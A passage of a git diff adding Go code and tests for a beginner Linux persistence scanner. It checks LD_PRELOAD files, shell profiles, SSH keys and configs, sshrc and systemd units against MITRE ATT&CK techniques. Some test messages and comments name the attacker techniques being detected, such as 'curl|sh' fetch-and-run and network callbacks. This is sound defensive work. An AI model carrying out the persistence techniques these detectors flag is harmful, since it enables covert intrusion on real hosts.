+ name: "normal chmod",
+ line: "chmod 755 /usr/local/bin/app",
+ wantHit: false,
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ hit, sev, lbl := MatchLine(tt.line)
+ if hit != tt.wantHit {
+ t.Errorf(
+ "MatchLine(%q) hit = %v, want %v",
+ tt.line, hit, tt.wantHit,
+ )
+ }
+ if tt.wantHit && sev < tt.wantSev {
+ t.Errorf(
+ "MatchLine(%q) sev = %v, want >= %v",
+ tt.line, sev, tt.wantSev,
+ )
+ }
+ if tt.wantLbl != "" && lbl != tt.wantLbl {
+ t.Errorf(
+ "MatchLine(%q) label = %q, want %q",
+ tt.line, lbl, tt.wantLbl,
+ )
+ }
+ })
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go
new file mode 100644
index 00000000..f10fc2d3
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload.go
@@ -0,0 +1,146 @@
+/*
+©AngelaMos | 2026
+preload.go
+
+Scans for LD_PRELOAD and dynamic linker hijacking persistence
+
+Checks /etc/ld.so.preload for entries (almost never legitimate),
+scans /etc/ld.so.conf.d/ for libraries in suspicious paths, and
+looks for LD_PRELOAD exports in /etc/environment.
+
+MITRE ATT&CK:
+ T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking
+*/
+
+package scanner
+
+import (
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ preloadScannerName = "ld_preload"
+ mitrePreload = "T1574.006"
+)
+
+func init() {
+ Register(&PreloadScanner{})
+}
+
+type PreloadScanner struct{}
+
+func (p *PreloadScanner) Name() string {
+ return preloadScannerName
+}
+
+func (p *PreloadScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ preload := ResolveRoot(root, "/etc/ld.so.preload")
+ findings = append(
+ findings,
+ p.scanPreloadFile(preload)...,
+ )
+
+ confD := ResolveRoot(root, "/etc/ld.so.conf.d")
+ for _, path := range ListFiles(confD) {
+ findings = append(
+ findings,
+ p.scanConfFile(path)...,
+ )
+ }
+
+ envFile := ResolveRoot(root, "/etc/environment")
+ findings = append(
+ findings,
+ p.scanEnvironment(envFile)...,
+ )
+
+ return findings
+}
+
+func (p *PreloadScanner) scanPreloadFile(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+ continue
+ }
+
+ sev := types.SeverityHigh
+ if TempDirPattern.MatchString(trimmed) {
+ sev = types.SeverityCritical
+ }
+
+ findings = append(findings, types.Finding{
+ Scanner: preloadScannerName,
+ Severity: sev,
+ Title: "Library in ld.so.preload",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitrePreload,
+ })
+ }
+ return findings
+}
+
+func (p *PreloadScanner) scanConfFile(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ var findings []types.Finding
+
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if IsCommentOrEmpty(trimmed) {
+ continue
+ }
+
+ if TempDirPattern.MatchString(trimmed) {
+ findings = append(findings, types.Finding{
+ Scanner: preloadScannerName,
+ Severity: types.SeverityHigh,
+ Title: "Library path in temp directory",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitrePreload,
+ })
+ }
+ }
+ return findings
+}
+
+func (p *PreloadScanner) scanEnvironment(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ if LDPreloadPattern.MatchString(line) {
+ findings = append(findings, types.Finding{
+ Scanner: preloadScannerName,
+ Severity: types.SeverityCritical,
+ Title: "LD_PRELOAD in /etc/environment",
+ Path: path,
+ Evidence: strings.TrimSpace(line),
+ MITRE: mitrePreload,
+ })
+ }
+ }
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go
new file mode 100644
index 00000000..f747ad7c
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/preload_test.go
@@ -0,0 +1,51 @@
+/*
+©AngelaMos | 2026
+preload_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestPreloadScanner_NonEmpty(t *testing.T) {
+ p := &PreloadScanner{}
+ path := filepath.Join(
+ testdataDir(), "preload", "ld.so.preload",
+ )
+
+ findings := p.scanPreloadFile(path)
+ if len(findings) == 0 {
+ t.Fatal("ld.so.preload with entry produced no findings")
+ }
+
+ if findings[0].Severity != types.SeverityCritical {
+ t.Errorf(
+ "severity = %v, want critical",
+ findings[0].Severity,
+ )
+ }
+}
+
+func TestPreloadScanner_Environment(t *testing.T) {
+ p := &PreloadScanner{}
+ path := filepath.Join(
+ testdataDir(), "preload", "environment",
+ )
+
+ findings := p.scanEnvironment(path)
+ if len(findings) == 0 {
+ t.Fatal("environment with LD_PRELOAD produced no findings")
+ }
+
+ if findings[0].Severity != types.SeverityCritical {
+ t.Errorf(
+ "severity = %v, want critical",
+ findings[0].Severity,
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go
new file mode 100644
index 00000000..40106f54
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile.go
@@ -0,0 +1,94 @@
+/*
+©AngelaMos | 2026
+profile.go
+
+Scans shell initialization files for injected persistence commands
+
+Checks system-wide and per-user shell RC files (bash, zsh, profile)
+for suspicious patterns: network callbacks, encoded payloads, alias
+hijacking, PATH manipulation, LD_PRELOAD exports, and background
+process launchers.
+
+MITRE ATT&CK:
+ T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ profileScannerName = "profile"
+ mitreProfile = "T1546.004"
+)
+
+var systemProfiles = []string{
+ "/etc/profile",
+ "/etc/bash.bashrc",
+ "/etc/zsh/zshrc",
+ "/etc/zsh/zprofile",
+}
+
+var userProfileFiles = []string{
+ ".bashrc",
+ ".bash_profile",
+ ".bash_login",
+ ".bash_logout",
+ ".profile",
+ ".zshrc",
+ ".zprofile",
+}
+
+func init() {
+ Register(&ProfileScanner{})
+}
+
+type ProfileScanner struct{}
+
+func (p *ProfileScanner) Name() string {
+ return profileScannerName
+}
+
+func (p *ProfileScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, path := range systemProfiles {
+ resolved := ResolveRoot(root, path)
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ resolved, profileScannerName, mitreProfile,
+ )...,
+ )
+ }
+
+ profileD := ResolveRoot(root, "/etc/profile.d")
+ for _, path := range ListFiles(profileD) {
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, profileScannerName, mitreProfile,
+ )...,
+ )
+ }
+
+ for _, home := range FindUserDirs(root) {
+ for _, name := range userProfileFiles {
+ path := filepath.Join(home, name)
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ path, profileScannerName, mitreProfile,
+ )...,
+ )
+ }
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go
new file mode 100644
index 00000000..ad222c36
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/profile_test.go
@@ -0,0 +1,66 @@
+/*
+©AngelaMos | 2026
+profile_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestProfileScanner_CleanBashrc(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "profiles", "clean-bashrc",
+ )
+ findings := ScanFileForPatterns(
+ path, profileScannerName, mitreProfile,
+ )
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean bashrc produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestProfileScanner_InjectedBashrc(t *testing.T) {
+ path := filepath.Join(
+ testdataDir(), "profiles", "injected-bashrc",
+ )
+ findings := ScanFileForPatterns(
+ path, profileScannerName, mitreProfile,
+ )
+
+ if len(findings) < 3 {
+ t.Fatalf(
+ "injected bashrc: got %d findings, want >= 3",
+ len(findings),
+ )
+ }
+
+ hasCritical := false
+ hasHigh := false
+ for _, f := range findings {
+ if f.Severity == types.SeverityCritical {
+ hasCritical = true
+ }
+ if f.Severity == types.SeverityHigh {
+ hasHigh = true
+ }
+ }
+
+ if !hasCritical {
+ t.Error("expected critical for LD_PRELOAD")
+ }
+ if !hasHigh {
+ t.Error("expected high for alias hijack or curl|bash")
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go
new file mode 100644
index 00000000..a17c27ac
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/scanner.go
@@ -0,0 +1,71 @@
+/*
+©AngelaMos | 2026
+scanner.go
+
+Scanner registry that collects and runs all persistence scanners
+
+Maintains an ordered slice of scanners registered at init time.
+RunAll iterates each scanner in parallel using errgroup, collects
+findings under a mutex, and returns the merged result set. Each
+scanner module calls Register in its init function to add itself.
+*/
+
+package scanner
+
+import (
+ "log/slog"
+ "sync"
+
+ "golang.org/x/sync/errgroup"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+var registry []types.Scanner
+
+func Register(s types.Scanner) {
+ registry = append(registry, s)
+}
+
+func All() []types.Scanner {
+ return registry
+}
+
+func RunAll(root string) []types.Finding {
+ var (
+ mu sync.Mutex
+ all []types.Finding
+ g errgroup.Group
+ )
+
+ slog.Debug(
+ "starting scan",
+ "root", root,
+ "scanners", len(registry),
+ )
+
+ for _, s := range registry {
+ g.Go(func() error {
+ slog.Debug(
+ "scanner started", "name", s.Name(),
+ )
+ results := s.Scan(root)
+ slog.Debug(
+ "scanner finished",
+ "name", s.Name(),
+ "findings", len(results),
+ )
+ mu.Lock()
+ all = append(all, results...)
+ mu.Unlock()
+ return nil
+ })
+ }
+
+ _ = g.Wait() //nolint:errcheck
+
+ slog.Debug(
+ "scan complete", "total_findings", len(all),
+ )
+ return all
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go
new file mode 100644
index 00000000..cb7403d0
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh.go
@@ -0,0 +1,196 @@
+/*
+©AngelaMos | 2026
+ssh.go
+
+Scans SSH configuration and authorized keys for persistence indicators
+
+Checks authorized_keys files for forced command options, sshd_config
+for dangerous directives like PermitRootLogin and non-standard
+AuthorizedKeysFile paths, and detects ~/.ssh/rc login scripts.
+
+MITRE ATT&CK:
+ T1098.004 - Account Manipulation: SSH Authorized Keys
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "strings"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ sshScannerName = "ssh"
+ mitreSSH = "T1098.004"
+)
+
+func init() {
+ Register(&SSHScanner{})
+}
+
+type SSHScanner struct{}
+
+func (s *SSHScanner) Name() string {
+ return sshScannerName
+}
+
+func (s *SSHScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, home := range FindUserDirs(root) {
+ findings = append(
+ findings,
+ s.scanAuthorizedKeys(
+ filepath.Join(
+ home, ".ssh", "authorized_keys",
+ ),
+ )...,
+ )
+ findings = append(
+ findings,
+ s.scanAuthorizedKeys(
+ filepath.Join(
+ home, ".ssh", "authorized_keys2",
+ ),
+ )...,
+ )
+
+ rc := filepath.Join(home, ".ssh", "rc")
+ if FileExists(rc) {
+ findings = append(findings, types.Finding{
+ Scanner: sshScannerName,
+ Severity: types.SeverityMedium,
+ Title: "SSH rc script detected",
+ Path: rc,
+ Evidence: "~/.ssh/rc executes on every SSH login",
+ MITRE: mitreSSH,
+ })
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ rc, sshScannerName, mitreSSH,
+ )...,
+ )
+ }
+ }
+
+ sshdConfig := ResolveRoot(root, "/etc/ssh/sshd_config")
+ findings = append(
+ findings,
+ s.scanSSHDConfig(sshdConfig)...,
+ )
+
+ sshdConfigD := ResolveRoot(
+ root, "/etc/ssh/sshd_config.d",
+ )
+ for _, path := range ListFiles(sshdConfigD) {
+ findings = append(
+ findings,
+ s.scanSSHDConfig(path)...,
+ )
+ }
+
+ return findings
+}
+
+func (s *SSHScanner) scanAuthorizedKeys(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+ continue
+ }
+
+ if strings.Contains(trimmed, "command=") {
+ findings = append(findings, types.Finding{
+ Scanner: sshScannerName,
+ Severity: types.SeverityHigh,
+ Title: "Forced command in authorized_keys",
+ Path: path,
+ Evidence: truncate(trimmed),
+ MITRE: mitreSSH,
+ })
+ }
+
+ if strings.Contains(trimmed, "environment=") {
+ findings = append(findings, types.Finding{
+ Scanner: sshScannerName,
+ Severity: types.SeverityHigh,
+ Title: "Environment override in authorized_keys",
+ Path: path,
+ Evidence: truncate(trimmed),
+ MITRE: mitreSSH,
+ })
+ }
+ }
+ return findings
+}
+
+func (s *SSHScanner) scanSSHDConfig(
+ path string,
+) []types.Finding {
+ lines := ReadLines(path)
+ if lines == nil {
+ return nil
+ }
+
+ var findings []types.Finding
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ lower := strings.ToLower(trimmed)
+
+ if strings.HasPrefix(lower, "permitrootlogin") &&
+ strings.Contains(lower, "yes") {
+ findings = append(findings, types.Finding{
+ Scanner: sshScannerName,
+ Severity: types.SeverityMedium,
+ Title: "PermitRootLogin enabled",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreSSH,
+ })
+ }
+
+ if strings.HasPrefix(lower, "authorizedkeysfile") {
+ val := strings.Fields(trimmed)
+ if len(val) >= 2 {
+ keyPath := val[1]
+ if !strings.Contains(
+ keyPath, ".ssh/authorized_keys",
+ ) {
+ findings = append(
+ findings, types.Finding{
+ Scanner: sshScannerName,
+ Severity: types.SeverityHigh,
+ Title: "Non-standard AuthorizedKeysFile path",
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitreSSH,
+ },
+ )
+ }
+ }
+ }
+ }
+ return findings
+}
+
+const maxKeyLineLen = 120
+
+func truncate(s string) string {
+ if len(s) <= maxKeyLineLen {
+ return s
+ }
+ return s[:maxKeyLineLen] + "..."
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go
new file mode 100644
index 00000000..9ffa2a8c
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/ssh_test.go
@@ -0,0 +1,123 @@
+/*
+©AngelaMos | 2026
+ssh_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "strings"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestSSHScanner_CleanKeys(t *testing.T) {
+ s := &SSHScanner{}
+ path := filepath.Join(
+ testdataDir(), "ssh", "clean-authorized-keys",
+ )
+
+ findings := s.scanAuthorizedKeys(path)
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean keys produced %d findings, want 0",
+ len(findings),
+ )
+ }
+}
+
+func TestSSHScanner_CommandKeys(t *testing.T) {
+ s := &SSHScanner{}
+ path := filepath.Join(
+ testdataDir(), "ssh", "command-authorized-keys",
+ )
+
+ findings := s.scanAuthorizedKeys(path)
+ if len(findings) < 2 {
+ t.Fatalf(
+ "command keys: got %d findings, want >= 2",
+ len(findings),
+ )
+ }
+
+ hasCommand := false
+ hasEnv := false
+ for _, f := range findings {
+ if f.Severity == types.SeverityHigh {
+ switch {
+ case strings.Contains(f.Title, "Forced command"):
+ hasCommand = true
+ case strings.Contains(
+ f.Title, "Environment override",
+ ):
+ hasEnv = true
+ }
+ }
+ }
+
+ if !hasCommand {
+ t.Error("expected finding for command= option")
+ }
+ if !hasEnv {
+ t.Error("expected finding for environment= option")
+ }
+}
+
+func TestSSHScanner_SSHDConfigDangerous(t *testing.T) {
+ s := &SSHScanner{}
+ path := filepath.Join(
+ testdataDir(), "ssh", "sshd_config-dangerous",
+ )
+
+ findings := s.scanSSHDConfig(path)
+ if len(findings) < 2 {
+ t.Fatalf(
+ "dangerous sshd_config: got %d findings, want >= 2",
+ len(findings),
+ )
+ }
+
+ hasRootLogin := false
+ hasKeysFile := false
+ for _, f := range findings {
+ switch {
+ case strings.Contains(
+ f.Title, "PermitRootLogin",
+ ):
+ hasRootLogin = true
+ case strings.Contains(
+ f.Title, "AuthorizedKeysFile",
+ ):
+ hasKeysFile = true
+ }
+ }
+
+ if !hasRootLogin {
+ t.Error("expected finding for PermitRootLogin yes")
+ }
+ if !hasKeysFile {
+ t.Error(
+ "expected finding for non-standard AuthorizedKeysFile",
+ )
+ }
+}
+
+func TestSSHScanner_SSHDConfigClean(t *testing.T) {
+ s := &SSHScanner{}
+ path := filepath.Join(
+ testdataDir(), "ssh", "sshd_config-clean",
+ )
+
+ findings := s.scanSSHDConfig(path)
+ if len(findings) > 0 {
+ t.Errorf(
+ "clean sshd_config produced %d findings, want 0",
+ len(findings),
+ )
+ for _, f := range findings {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go
new file mode 100644
index 00000000..4dd5f6bc
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc.go
@@ -0,0 +1,74 @@
+/*
+©AngelaMos | 2026
+sshrc.go
+
+Scans /etc/ssh/sshrc for system-wide SSH login persistence
+
+The sshrc file executes as the connecting user on every SSH login,
+distinct from per-user ~/.ssh/rc files. Attackers plant callbacks
+here because it runs before the user's shell and is rarely audited.
+
+MITRE ATT&CK:
+ T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
+*/
+
+package scanner
+
+import (
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ sshrcScannerName = "sshrc"
+ mitreSSHRC = "T1546.004"
+)
+
+func init() {
+ Register(&SSHRCScanner{})
+}
+
+type SSHRCScanner struct{}
+
+func (s *SSHRCScanner) Name() string {
+ return sshrcScannerName
+}
+
+func (s *SSHRCScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ sshrc := ResolveRoot(root, "/etc/ssh/sshrc")
+ if !FileExists(sshrc) {
+ return nil
+ }
+
+ findings = append(findings, types.Finding{
+ Scanner: sshrcScannerName,
+ Severity: types.SeverityMedium,
+ Title: "System-wide sshrc login script exists",
+ Path: sshrc,
+ Evidence: "/etc/ssh/sshrc runs on every SSH login",
+ MITRE: mitreSSHRC,
+ })
+
+ findings = append(
+ findings,
+ ScanFileForPatterns(
+ sshrc, sshrcScannerName, mitreSSHRC,
+ )...,
+ )
+
+ if IsWorldWritable(sshrc) {
+ findings = append(findings, types.Finding{
+ Scanner: sshrcScannerName,
+ Severity: types.SeverityMedium,
+ Title: "World-writable sshrc script",
+ Path: sshrc,
+ Evidence: "Any user can modify this login script",
+ MITRE: mitreSSHRC,
+ })
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go
new file mode 100644
index 00000000..1debd724
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/sshrc_test.go
@@ -0,0 +1,73 @@
+/*
+©AngelaMos | 2026
+sshrc_test.go
+*/
+
+package scanner
+
+import (
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestSSHRCScanner_Exists(t *testing.T) {
+ root := t.TempDir()
+ sshDir := filepath.Join(root, "etc", "ssh")
+ if err := os.MkdirAll(sshDir, 0o750); err != nil {
+ t.Fatal(err)
+ }
+
+ src := filepath.Join(
+ testdataDir(), "sshrc", "sshrc-malicious",
+ )
+ data, err := os.ReadFile(src) //nolint:gosec
+ if err != nil {
+ t.Fatal(err)
+ }
+ writeTestFile(
+ t, filepath.Join(sshDir, "sshrc"), string(data),
+ )
+
+ s := &SSHRCScanner{}
+ findings := s.Scan(root)
+
+ if len(findings) == 0 {
+ t.Fatal("sshrc with content produced no findings")
+ }
+
+ hasExistence := false
+ hasPattern := false
+ for _, f := range findings {
+ if f.Title == "System-wide sshrc login script exists" {
+ hasExistence = true
+ }
+ if f.Severity >= types.SeverityMedium &&
+ f.Title != "System-wide sshrc login script exists" {
+ hasPattern = true
+ }
+ }
+
+ if !hasExistence {
+ t.Error("expected existence finding for sshrc")
+ }
+ if !hasPattern {
+ t.Error(
+ "expected pattern finding for curl in sshrc",
+ )
+ }
+}
+
+func TestSSHRCScanner_Missing(t *testing.T) {
+ s := &SSHRCScanner{}
+ findings := s.Scan(t.TempDir())
+
+ if len(findings) > 0 {
+ t.Errorf(
+ "missing sshrc produced %d findings, want 0",
+ len(findings),
+ )
+ }
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go
new file mode 100644
index 00000000..5772ab56
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd.go
@@ -0,0 +1,185 @@
+/*
+©AngelaMos | 2026
+systemd.go
+
+Scans systemd unit files for persistence indicators
+
+Enumerates service and timer units across system and user directories,
+parses Exec directives, and flags units that show signs of attacker
+installation: suspicious commands, non-standard paths, world-writable
+files, and recent modification timestamps.
+
+MITRE ATT&CK:
+ T1543.002 - Create or Modify System Process: Systemd Service
+ T1053.006 - Scheduled Task/Job: Systemd Timers
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "strings"
+ "time"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+ systemdScannerName = "systemd"
+ mitreSystemd = "T1543.002"
+ mitreTimer = "T1053.006"
+ mitrePath = "T1543.002"
+)
+
+var systemdDirs = []string{
+ "/etc/systemd/system",
+ "/run/systemd/system",
+ "/usr/lib/systemd/system",
+}
+
+var execDirectives = []string{
+ "ExecStart=",
+ "ExecStartPre=",
+ "ExecStartPost=",
+ "ExecStop=",
+ "ExecStopPost=",
+ "ExecReload=",
+}
+
+func init() {
+ Register(&SystemdScanner{})
+}
+
+type SystemdScanner struct{}
+
+func (s *SystemdScanner) Name() string {
+ return systemdScannerName
+}
+
+func (s *SystemdScanner) Scan(
+ root string,
+) []types.Finding {
+ var findings []types.Finding
+
+ for _, dir := range systemdDirs {
+ resolved := ResolveRoot(root, dir)
+ findings = append(
+ findings,
+ s.scanDir(resolved)...,
+ )
+ }
+
+ for _, home := range FindUserDirs(root) {
+ userDir := filepath.Join(
+ home, ".config", "systemd", "user",
+ )
+ findings = append(
+ findings,
+ s.scanDir(userDir)...,
+ )
+ }
+
+ return findings
+}
+
+func (s *SystemdScanner) scanDir(
+ dir string,
+) []types.Finding {
+ var findings []types.Finding
+
+ files := ListFiles(dir)
+ for _, path := range files {
+ ext := filepath.Ext(path)
+ if ext != ".service" && ext != ".timer" &&
+ ext != ".socket" && ext != ".path" {
+ continue
+ }
+
+ mitre := mitreSystemd
+ switch ext {
+ case ".timer":
+ mitre = mitreTimer
+ case ".path":
+ mitre = mitrePath
+ }
+
+ findings = append(
+ findings,
+ s.analyzeUnit(path, mitre)...,
+ )
+ }
+
+ entries := ListDir(dir)
+ for _, e := range entries {
+ if e.IsDir() && strings.HasSuffix(e.Name(), ".d") {
+ dropinDir := filepath.Join(dir, e.Name())
+ for _, f := range ListFiles(dropinDir) {
+ if strings.HasSuffix(f, ".conf") {
+ findings = append(
+ findings,
+ s.analyzeUnit(f, mitreSystemd)...,
+ )
+ }
+ }
+ }
+ }
+
+ return findings
+}
+
+func (s *SystemdScanner) analyzeUnit(
+ path, mitre string,
+) []types.Finding {
+ var findings []types.Finding
+ lines := ReadLines(path)
+
+ for _, line := range lines {
+ trimmed := strings.TrimSpace(line)
+ for _, directive := range execDirectives {
+ if !strings.HasPrefix(trimmed, directive) {
+ continue
+ }
+ cmd := strings.TrimPrefix(trimmed, directive)
+ cmd = strings.TrimPrefix(cmd, "-")
+
+ matched, sev, label := MatchLine(cmd)
+ if matched {
+ findings = append(findings, types.Finding{
+ Scanner: systemdScannerName,
+ Severity: sev,
+ Title: "Suspicious " +
+ strings.TrimSuffix(
+ directive, "=",
+ ) + ": " + label,
+ Path: path,
+ Evidence: trimmed,
+ MITRE: mitre,
+ })
+ }
+ }
+ }
+
+ if IsWorldWritable(path) {
+ findings = append(findings, types.Finding{
+ Scanner: systemdScannerName,
+ Severity: types.SeverityMedium,
+ Title: "World-writable unit file",
+ Path: path,
+ Evidence: "File permissions allow any user to modify this unit",
+ MITRE: mitre,
+ })
+ }
+
+ if ModifiedWithin(path, 24*time.Hour) {
+ findings = append(findings, types.Finding{
+ Scanner: systemdScannerName,
+ Severity: types.SeverityMedium,
+ Title: "Recently modified unit file",
+ Path: path,
+ Evidence: "Modified within the last 24 hours",
+ MITRE: mitre,
+ })
+ }
+
+ return findings
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go
new file mode 100644
index 00000000..b7dc9c30
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/systemd_test.go
@@ -0,0 +1,129 @@
+/*
+©AngelaMos | 2026
+systemd_test.go
+*/
+
+package scanner
+
+import (
+ "path/filepath"
+ "runtime"
+ "testing"
+
+ "github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func testdataDir() string {
+ _, file, _, _ := runtime.Caller(0)
+ return filepath.Join(
+ filepath.Dir(file),
+ "..", "..", "testdata",
+ )
+}
+
+func TestSystemdScanner_CleanService(t *testing.T) {
+ s := &SystemdScanner{}
+ findings := s.analyzeUnit(
+ filepath.Join(
+ testdataDir(), "systemd", "clean-service.service",
+ ),
+ mitreSystemd,
+ )
+
+ suspicious := filterSuspicious(findings)
+ if len(suspicious) > 0 {
+ t.Errorf(
+ "clean service produced %d suspicious findings, want 0",
+ len(suspicious),
+ )
+ for _, f := range suspicious {
+ t.Logf(" finding: %s (%s)", f.Title, f.Evidence)
+ }
+ }
+}
+
+func TestSystemdScanner_SuspiciousService(t *testing.T) {
+ s := &SystemdScanner{}
+ findings := s.analyzeUnit(
+ filepath.Join(
+ testdataDir(),
+ "systemd",
+ "suspicious-service.service",
+ ),
+ mitreSystemd,
+ )
+
+ suspicious := filterSuspicious(findings)
+ if len(suspicious) == 0 {
+ t.Fatal("suspicious service produced no findings")
+ }
+
+ foundCurl := false
+ foundTmp := false
+ for _, f := range suspicious {
+ if f.Severity >= types.SeverityHigh {
+ foundCurl = true
+ }
+ if f.Severity >= types.SeverityMedium {
+ foundTmp = true
+ }
+ }
+
+ if !foundCurl {
+ t.Error("expected high-severity finding for curl|sh")
+ }
+ if !foundTmp {
+ t.Error("expected finding for /tmp path")
+ }
+}
+
+func TestSystemdScanner_TimerMITRE(t *testing.T) {
+ s := &SystemdScanner{}
+ path := filepath.Join(
+ testdataDir(),
+ "systemd",
+ "timer-backdoor.timer",
+ )
+ findings := s.analyzeUnit(path, mitreTimer)
+
+ for _, f := range findings {
+ if f.MITRE != mitreTimer {
+ t.Errorf(
+ "timer finding MITRE = %q, want %q",
+ f.MITRE, mitreTimer,
+ )
+ }
+ }
+}
+
+func TestSystemdScanner_PathUnit(t *testing.T) {
+ s := &SystemdScanner{}
+ path := filepath.Join(
+ testdataDir(),
+ "systemd",
+ "watch-beacon.path",
+ )
+ findings := s.analyzeUnit(path, mitrePath)
+
+ for _, f := range findings {
+ if f.MITRE != mitrePath {
+ t.Errorf(
+ "path unit MITRE = %q, want %q",
+ f.MITRE, mitrePath,
+ )
+ }
+ }
+}
+
+func filterSuspicious(
+ findings []types.Finding,
+) []types.Finding {
+ var result []types.Finding
+ for _, f := range findings {
+ if f.Severity >= types.SeverityMedium &&
+ f.Title != "Recently modified unit file" {
+ result = append(result, f)
+ }
+ }
+ return result
+}
diff --git a/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go
new file mode 100644
index 00000000..95cf9329
--- /dev/null
+++ b/PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/udev.go
@@ -0,0 +1,130 @@
+/*
+©AngelaMos | 2026
+udev.go
+
